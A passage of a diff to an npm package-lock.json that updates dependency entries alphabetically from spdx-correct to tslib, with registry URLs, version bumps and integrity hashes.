"3.2.0", + "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.2.0.tgz", + "integrity": "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==", + "dev": true, + "requires": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "spdx-exceptions": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz", + "integrity": "sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==", + "dev": true + }, + "spdx-expression-parse": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", + "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", + "dev": true, + "requires": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "spdx-license-ids": { + "version": "3.0.22", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.22.tgz", + "integrity": "sha512-4PRT4nh1EImPbt2jASOKHX7PB7I+e4IWNLvkKFDxNhJlfjbYlleYQh285Z/3mPTHSAK/AvdMmw5BNNuYH8ShgQ==", + "dev": true + }, + "sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", + "dev": true + }, + "ssri": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/ssri/-/ssri-9.0.1.tgz", + "integrity": "sha512-o57Wcn66jMQvfHG1FlYbWeZWW/dHZhJXjpIcTfXldXEk5nz5lStPo3mK0OJQfGR3RbZUlbISexbljkJzuEj/8Q==", + "dev": true, + "requires": { + "minipass": "^3.1.1" + }, + "dependencies": { + "minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + } + } + }, + "stack-trace": { + "version": "0.0.10", + "resolved": "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.10.tgz", + "integrity": "sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg==", + "dev": true + }, + "stdin-discarder": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/stdin-discarder/-/stdin-discarder-0.2.2.tgz", + "integrity": "sha512-UhDfHmA92YAlNnCfhmq0VeNL5bDbiZGg7sZ2IvPsXubGkiNa9EC+tUTsjBRsYUAz87btI6/1wf4XoVvQ3uRnmQ==", + "dev": true + }, + "stoppable": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/stoppable/-/stoppable-1.1.0.tgz", + "integrity": "sha512-KXDYZ9dszj6bzvnEMRYvxgeTHU74QBFL54XKtP3nyMuJ81CFYtABZ3bAzL2EdFUaEwJOBOgENyFj3R7oTzDyyw==", + "dev": true + }, + "streamx": { + "version": "2.22.1", + "resolved": "https://registry.npmjs.org/streamx/-/streamx-2.22.1.tgz", + "integrity": "sha512-znKXEBxfatz2GBNK02kRnCXjV+AA4kjZIUxeWSr3UGirZMJfTE9uiwKHobnbgxWyL/JWro8tTq+vOqAK1/qbSA==", + "requires": { + "bare-events": "^2.2.0", + "fast-fifo": "^1.3.2", + "text-decoder": "^1.1.0" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "requires": { + "safe-buffer": "~5.1.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + } + } + }, + "string-argv": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/string-argv/-/string-argv-0.3.2.tgz", + "integrity": "sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q==", + "dev": true + }, + "string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + } + }, + "string-width-cjs": { + "version": "npm:string-width@4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + } + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "requires": { + "ansi-regex": "^5.0.1" + } + }, + "strip-ansi-cjs": { + "version": "npm:strip-ansi@6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "requires": { + "ansi-regex": "^5.0.1" + } + }, + "strip-bom": { "version": "3.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", - "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", + "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==", + "dev": true + }, + "strip-dirs": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/strip-dirs/-/strip-dirs-2.1.0.tgz", + "integrity": "sha512-JOCxOeKLm2CAS73y/U4ZeZPTkE+gNVCzKt7Eox84Iej1LT/2pTWYpZKJuxwQpvX1LiZb1xokNR7RLfuBAa7T3g==", + "dev": true, + "requires": { + "is-natural-number": "^4.0.1" + } + }, + "strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true + }, + "structured-source": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/structured-source/-/structured-source-4.0.0.tgz", + "integrity": "sha512-qGzRFNJDjFieQkl/sVOI2dUjHKRyL9dAJi2gCPGJLbJHBIkyOHxjuocpIEfbLioX+qSJpvbYdT49/YCdMznKxA==", + "dev": true, + "requires": { + "boundary": "^2.0.0" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "supports-hyperlinks": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-3.2.0.tgz", + "integrity": "sha512-zFObLMyZeEwzAoKCyu1B91U79K2t7ApXuQfo8OuxwXLDgcKxuwM+YvcbIhm6QWqz7mHUH1TVytR1PwVVjEuMig==", + "dev": true, + "requires": { + "has-flag": "^4.0.0", + "supports-color": "^7.0.0" + } + }, + "svg-pathdata": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/svg-pathdata/-/svg-pathdata-6.0.3.tgz", + "integrity": "sha512-qsjeeq5YjBZ5eMdFuUa4ZosMLxgr5RZ+F+Y1OrDhuOCEInRMA3x74XdBtggJcj9kOeInz0WE+LgCPDkZFlBYJw==", "dev": true }, - "string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "svg2ttf": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/svg2ttf/-/svg2ttf-6.0.3.tgz", + "integrity": "sha512-CgqMyZrbOPpc+WqH7aga4JWkDPso23EgypLsbQ6gN3uoPWwwiLjXvzgrwGADBExvCRJrWFzAeK1bSoSpE7ixSQ==", + "dev": true, + "requires": { + "@xmldom/xmldom": "^0.7.2", + "argparse": "^2.0.1", + "cubic2quad": "^1.2.1", + "lodash": "^4.17.10", + "microbuffer": "^1.0.0", + "svgpath": "^2.1.5" + }, + "dependencies": { + "@xmldom/xmldom": { + "version": "0.7.13", + "resolved": "https://registry.npmjs.org/@xmldom/xmldom/-/xmldom-0.7.13.tgz", + "integrity": "sha512-lm2GW5PkosIzccsaZIz7tp8cPADSIlIHWDFTR1N0SzfinhhYgeIQjFMz4rYzanCScr3DqQLeomUDArp6MWKm+g==", + "dev": true + } + } + }, + "svgicons2svgfont": { + "version": "10.0.6", + "resolved": "https://registry.npmjs.org/svgicons2svgfont/-/svgicons2svgfont-10.0.6.tgz", + "integrity": "sha512-fUgQEVg3XwTbOHvlXahHGqCet5Wvfo1bV4DCvbSRvjsOCPCRunYbG4dUJCPegps37BMph3eOrfoobhH5AWuC6A==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "commander": "^7.2.0", + "geometry-interfaces": "^1.1.4", + "glob": "^7.1.6", + "neatequal": "^1.0.0", + "readable-stream": "^3.4.0", + "sax": "^1.2.4", + "svg-pathdata": "^6.0.0" }, "dependencies": { - "safe-buffer": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", "dev": true + }, + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } } } }, - "string-width": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "svgo": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-4.0.0.tgz", + "integrity": "sha512-VvrHQ+9uniE+Mvx3+C9IEe/lWasXCU0nXMY2kZeLrHNICuRiC8uMPyM14UEaMOFA5mhyQqEkB02VoQ16n3DLaw==", "dev": true, "requires": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.1" + "commander": "^11.1.0", + "css-select": "^5.1.0", + "css-tree": "^3.0.1", + "css-what": "^6.1.0", + "csso": "^5.0.5", + "picocolors": "^1.1.1", + "sax": "^1.4.1" + }, + "dependencies": { + "commander": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-11.1.0.tgz", + "integrity": "sha512-yPVavfyCcRhmorC7rWlkHn15b4wDVgVmBA7kV4QVBsF7kv/9TKJAbAXVTxvTnwP8HHKjRCJDClKbciiYS7p0DQ==", + "dev": true + }, + "css-select": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.1.0.tgz", + "integrity": "sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==", + "dev": true, + "requires": { + "boolbase": "^1.0.0", + "css-what": "^6.1.0", + "domhandler": "^5.0.2", + "domutils": "^3.0.1", + "nth-check": "^2.0.1" + } + }, + "css-what": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", + "dev": true + }, + "dom-serializer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz", + "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==", + "dev": true, + "requires": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.2", + "entities": "^4.2.0" + } + }, + "domhandler": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz", + "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==", + "dev": true, + "requires": { + "domelementtype": "^2.3.0" + } + }, + "domutils": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.2.2.tgz", + "integrity": "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==", + "dev": true, + "requires": { + "dom-serializer": "^2.0.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3" + } + }, + "entities": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "dev": true + } } }, - "strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "svgpath": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/svgpath/-/svgpath-2.6.0.tgz", + "integrity": "sha512-OIWR6bKzXvdXYyO4DK/UWa1VA1JeKq8E+0ug2DG98Y/vOmMpfZNj+TIG988HjfYSqtcy/hFOtZq/n/j5GSESNg==", + "dev": true + }, + "table": { + "version": "6.9.0", + "resolved": "https://registry.npmjs.org/table/-/table-6.9.0.tgz", + "integrity": "sha512-9kY+CygyYM6j02t5YFHbNz2FN5QmYGv9zAjVp4lCDjlCw7amdckXlEt/bjMhUIfj4ThGRE4gCUH5+yGnNuPo5A==", "dev": true, "requires": { - "ansi-regex": "^5.0.1" + "ajv": "^8.0.1", + "lodash.truncate": "^4.4.2", + "slice-ansi": "^4.0.0", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1" + }, + "dependencies": { + "ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + } } }, - "strip-json-comments": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", - "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "tapable": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.3.0.tgz", + "integrity": "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==", "dev": true }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "tar": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz", + "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==", "dev": true, "requires": { - "has-flag": "^4.0.0" + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^5.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" + }, + "dependencies": { + "chownr": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", + "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", + "dev": true + }, + "minipass": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz", + "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==", + "dev": true + } } }, "tar-fs": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.1.tgz", - "integrity": "sha512-V0r2Y9scmbDRLCNex/+hYzvp/zyYjvFbHPNgVTKfQvVrb6guiE/fxP+XblDNR011utopbkex2nM4dHNV6GDsng==", + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz", + "integrity": "sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ==", "dev": true, + "optional": true, "requires": { "chownr": "^1.1.1", "mkdirp-classic": "^0.5.2", @@ -6293,6 +19819,7 @@ "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", "dev": true, + "optional": true, "requires": { "bl": "^4.0.3", "end-of-stream": "^1.4.1", @@ -6302,10 +19829,11 @@ }, "dependencies": { "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", "dev": true, + "optional": true, "requires": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -6314,49 +19842,426 @@ } } }, - "text-table": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", - "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", - "dev": true - }, - "tmp": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", - "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", + "terminal-link": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-4.0.0.tgz", + "integrity": "sha512-lk+vH+MccxNqgVqSnkMVKx4VLJfnLjDBGzH16JVZjKE2DoxP57s6/vt6JmXV5I3jBcfGrxNrYtC+mPtU7WJztA==", + "dev": true, + "requires": { + "ansi-escapes": "^7.0.0", + "supports-hyperlinks": "^3.2.0" + } + }, + "test-exclude": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-7.0.1.tgz", + "integrity": "sha512-pFYqmTw68LXVjeWJMST4+borgQP2AyMNbg1BpZh9LbyhUeNkeaPF9gzfPGUAnSMV3qPYdWUwDIjjCLiSDOl7vg==", + "dev": true, + "requires": { + "@istanbuljs/schema": "^0.1.2", + "glob": "^10.4.1", + "minimatch": "^9.0.4" + }, + "dependencies": { + "brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0" + } + }, + "glob": { + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", + "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", + "dev": true, + "requires": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + } + }, + "minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "requires": { + "brace-expansion": "^2.0.1" + } + } + } + }, + "text-decoder": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/text-decoder/-/text-decoder-1.2.3.tgz", + "integrity": "sha512-3/o9z3X0X0fTupwsYvR03pJ/DjWuqqrfwBgTQzdWDiQSm9KitAyz/9WqsT2JQW7KV2m+bC2ol/zqpW37NHxLaA==", + "requires": { + "b4a": "^1.6.4" + } + }, + "text-hex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/text-hex/-/text-hex-1.0.0.tgz", + "integrity": "sha512-uuVGNWzgJ4yhRaNSiubPY7OjISw4sw4E5Uv0wbjp+OzcbmVU/rsT8ujgcXJhn9ypzsgr5vlzpPqP+MBBKcGvbg==", + "dev": true + }, + "text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", + "dev": true + }, + "textextensions": { + "version": "6.11.0", + "resolved": "https://registry.npmjs.org/textextensions/-/textextensions-6.11.0.tgz", + "integrity": "sha512-tXJwSr9355kFJI3lbCkPpUH5cP8/M0GGy2xLO34aZCjMXBaK3SoPnZwr/oWmo1FdCnELcs4npdCIOFtq9W3ruQ==", + "dev": true, + "requires": { + "editions": "^6.21.0" + } + }, + "through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==", + "dev": true + }, + "timers-ext": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/timers-ext/-/timers-ext-0.1.8.tgz", + "integrity": "sha512-wFH7+SEAcKfJpfLPkrgMPvvwnEtj8W4IurvEyrKsDleXnKLCDw71w8jltvfLa8Rm4qQxxT4jmDBYbJG/z7qoww==", + "dev": true, + "requires": { + "es5-ext": "^0.10.64", + "next-tick": "^1.1.0" + } + }, + "tmp": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.4.tgz", + "integrity": "sha512-UdiSoX6ypifLmrfQ/XfiawN6hkjSBpCjhKxxZcWlUUmoXLaCKQU0bx4HF/tdDK2uzRuchf1txGvrWBzYREssoQ==", + "dev": true + }, + "to-buffer": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.1.1.tgz", + "integrity": "sha512-lx9B5iv7msuFYE3dytT+KE5tap+rNYw+K4jVkb9R/asAb+pbBSM17jtunHplhBe6RRJdZx3Pn2Jph24O32mOVg==", + "dev": true + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "requires": { + "is-number": "^7.0.0" + } + }, + "triple-beam": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/triple-beam/-/triple-beam-1.4.1.tgz", + "integrity": "sha512-aZbgViZrg1QNcG+LULa7nhZpJTZSLm/mXnHXnbAbjmN5aSa0y7V+wvv6+4WaBtpISJzThKy+PIPxc1Nq1EJ9mg==", + "dev": true + }, + "ts-api-utils": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.1.0.tgz", + "integrity": "sha512-CUgTZL1irw8u29bzrOD/nH85jqyc74D6SshFgujOIA7osm2Rz7dYH77agkx7H4FBNxDq7Cjf+IjaX/8zwFW+ZQ==", + "dev": true, + "requires": {} + }, + "tsconfig-paths": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-4.2.0.tgz", + "integrity": "sha512-NoZ4roiN7LnbKn9QqE1amc9DJfzvZXxF4xDavcOWt1BPkdx+m+0gJuPM+S0vCe7zTJMYUP0R8pO2XMr+Y8oLIg==", + "dev": true, + "requires": { + "json5": "^2.2.2", + "minimist": "^1.2.6", + "strip-bom": "^3.0.0" + } + }, + "tslib": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz", + "integrity": 